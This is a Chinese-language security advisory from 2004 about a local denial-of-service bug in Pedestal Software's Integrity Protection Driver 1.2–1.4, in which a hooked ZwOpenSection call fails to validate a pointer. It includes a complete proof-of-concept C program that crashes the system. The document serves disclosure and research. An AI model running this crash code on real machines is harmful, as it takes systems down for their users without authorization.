IPD本地拒绝服务漏洞

发布日期：2004-08-16
更新日期：2004-08-18

受影响系统：

Pedestal Software Integrity Protection Driver 1.4
Pedestal Software Integrity Protection Driver 1.3
Pedestal Software Integrity Protection Driver 1.2

描述：

---

IPD(集成保护驱动程序)是开放源代码设备驱动可保护新服务和驱动的未授权安装。

IPD在部分内核HOOKD实现中不充分验证指针引用，本地攻击者可以利用这个漏洞使系统崩溃。

如IPD hooks ZwOpenSection时调用如下：

NTSTATUS ZwOpenSection(HANDLE Handle, DWORD mask, DWORD oa);

问题是由于IPD没有正确检查"oa"指针是否合法，任何本地和未授权用户可调用此指针而使系统崩溃。

<*来源：fjserna （fjserna@ngsec.com）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109276749821133&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

fjserna （fjserna@ngsec.com）提供了如下测试方法：

/*
* ipd-dos.c
*
* Copyright (c) 2002-2004 By Next Generation Security S.L.
* All rights reserved
*
* Compiles with: cl ipd-dos.c
*
* Madrid, August 2004
*/

#include <windows.h>

#define MY_NULL 0x01
typedef DWORD (* zwopensection_TYPE)(DWORD Handle, DWORD mask, DWORD oa);

int main(int argc, char *argv[]) {
HINSTANCE dll;
zwopensection_TYPE my_ZwOpenSection;

if ((dll=LoadLibrary("ntdll.dll"))!=NULL) {

if ((my_ZwOpenSection=(zwopensection_TYPE)GetProcAddress(dll,"ZwOpenSection"))!=NULL) {

my_ZwOpenSection(MY_NULL,MY_NULL,MY_NULL);

}
}

}

建议：

---

厂商补丁：

Pedestal Software
-----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.pedestalsoftware.com

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有